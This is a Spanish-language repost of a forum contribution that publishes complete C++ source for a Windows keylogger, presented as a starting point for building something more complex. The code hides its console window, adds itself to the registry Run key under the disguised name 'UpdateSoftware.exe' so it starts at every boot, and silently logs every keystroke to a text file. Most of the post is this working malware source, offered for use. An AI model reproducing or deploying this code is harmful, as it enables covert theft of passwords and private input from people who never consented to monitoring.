Transcribo el aporte en el foro Dragonjar del amigo DaxGon el cual publico el codigo fuente de un Keylogger desarrollado en C++, muy buenas lineas que permiten empezar para desarrollar algo mas complejo:

******************************************************************

Les presento este codigo que permite de guardar en un file lo que se escribe!
El programa se abre en background con la linea de comando:

ShowWindow( GetConsoleWindow(), SW_HIDE );

para desactivarlo, hay no mas que meterlo como comentario.

Y tambien se guarda en el registro de autorun, en modo que se abra cada vez que se enciende
el ordenador(sinceramente nunca he probado)

HKEY newValue;
RegOpenKey(HKEY_CURRENT_USER,”Software\\Microsoft\ \Windows\\CurrentVersion\\Run”,&newValue);
RegSetValueEx(newValue,”NombreDelExe”,0,REG_SZ,(LP BYTE)szPath,sizeof(szPath));
RegCloseKey(newValue);

#include <iostream>
#include <windows.h>
#include <cstring>
#include <fstream>
#include <time.h>
#define LOG “nada.txt”
#define PRESS -32767

using namespace std;

void sleep(int mseconds)
{
clock_t goal = mseconds + clock();
while (goal > clock());
}

void scrivi_tasto(char c)
{
ofstream F(LOG, ios::app);
F << c ;

}

void scrivi_tasto(char c[500])
{
ofstream F(LOG, ios::app);
F << c ;

}

void speciali()

{
if(GetAsyncKeyState(220) == PRESS) scrivi_tasto(‘\\’);
if(GetAsyncKeyState(188) == PRESS) scrivi_tasto(‘,’);
if(GetAsyncKeyState(190) == PRESS) scrivi_tasto(‘.’);
if(GetAsyncKeyState(189) == PRESS) scrivi_tasto(‘-‘);
if(GetAsyncKeyState(186) == PRESS) scrivi_tasto(‘�’);
if(GetAsyncKeyState(187) == PRESS) scrivi_tasto(‘+’);
if(GetAsyncKeyState(192) == PRESS) scrivi_tasto(‘�’);
if(GetAsyncKeyState(222) == PRESS) scrivi_tasto(‘�’);
if(GetAsyncKeyState(191) == PRESS) scrivi_tasto(‘�’);
if(GetAsyncKeyState(219) == PRESS) scrivi_tasto(‘\”);
if(GetAsyncKeyState(221) == PRESS) scrivi_tasto(‘�’);
if(GetAsyncKeyState(226) == PRESS) scrivi_tasto(‘<‘);
if(GetAsyncKeyState(111) == PRESS) scrivi_tasto(‘/’);
if(GetAsyncKeyState(106) == PRESS) scrivi_tasto(‘*’);
if(GetAsyncKeyState(109) == PRESS) scrivi_tasto(‘-‘);
if(GetAsyncKeyState(107) == PRESS) scrivi_tasto(‘+’);
if(GetAsyncKeyState(110) == PRESS) scrivi_tasto(‘.’);
if(GetAsyncKeyState(VK_DELETE) == PRESS) scrivi_tasto(“<CANC>”);
if(GetAsyncKeyState(VK_BACK) == PRESS) scrivi_tasto(“<DEL>”);
if(GetAsyncKeyState(VK_ESCAPE) == PRESS) scrivi_tasto(“<ESC>”);
if(GetAsyncKeyState(VK_LEFT) == PRESS) scrivi_tasto(“<SINISTRA>”);
if(GetAsyncKeyState(VK_RIGHT) == PRESS) scrivi_tasto(“<DESTRA>”);
if(GetAsyncKeyState(VK_UP) == PRESS) scrivi_tasto(“<ALTO>”);
if(GetAsyncKeyState(VK_DOWN) == PRESS) scrivi_tasto(“<BASSO>”);
if(GetAsyncKeyState(VK_RETURN) == PRESS) scrivi_tasto(“\n”);
if(GetAsyncKeyState(VK_SPACE) == PRESS) scrivi_tasto(” “);

}

// ——————- INIZIO MAIN

int main()

{
ShowWindow( GetConsoleWindow(), SW_HIDE );
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
HKEY newValue;
RegOpenKey(HKEY_CURRENT_USER,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”,&newValue);
RegSetValueEx(newValue,”UpdateSoftware.exe”,0,REG_SZ,(LPBYTE)szPath,sizeof(szPath));
RegCloseKey(newValue);
int cod[20]={48,49,50,51,52,53,54,55,56,57,VK_NUMPAD0,VK_NUMPAD1,VK_NUMPAD2,
VK_NUMPAD3,VK_NUMPAD4,VK_NUMPAD5,VK_NUMPAD6,VK_NUMPAD7,VK_NUMPAD8,
VK_NUMPAD9};
char min[20]={‘0′,’1′,’2′,’3′,’4′,’5′,’6′,’7′,’8′,’9′,’0′,’1′,’2′,’3′,’4′,’5’,
‘6’,’7′,’8′,’9′};
char spe[10]={‘=’,’!’,'”‘,’�’,’$’,’%’,’&’,’/’,'(‘,’)’};
while(1)
{
if(GetAsyncKeyState(VK_SHIFT)) {
for(int x=65;x<=90;x++) {
if(GetAsyncKeyState(x)==PRESS)
scrivi_tasto(x);
}

for(int j=0;j<10;j++)   {
if(GetAsyncKeyState(cod[j])==PRESS)
scrivi_tasto(spe[j]);
}
} else {
for(int i=0;i<20;i++)    {
if(GetAsyncKeyState(cod[i])==PRESS)
scrivi_tasto(min[i]);
}
for(int z=65;z<=90;z++)  {
if(GetAsyncKeyState(z)==PRESS)
scrivi_tasto(z+32);
}
speciali();
sleep(100);

}
}
return 0;
}

 

Fuente: http://comunidad.dragonjar.org/f179/keylogger-14676/#post43130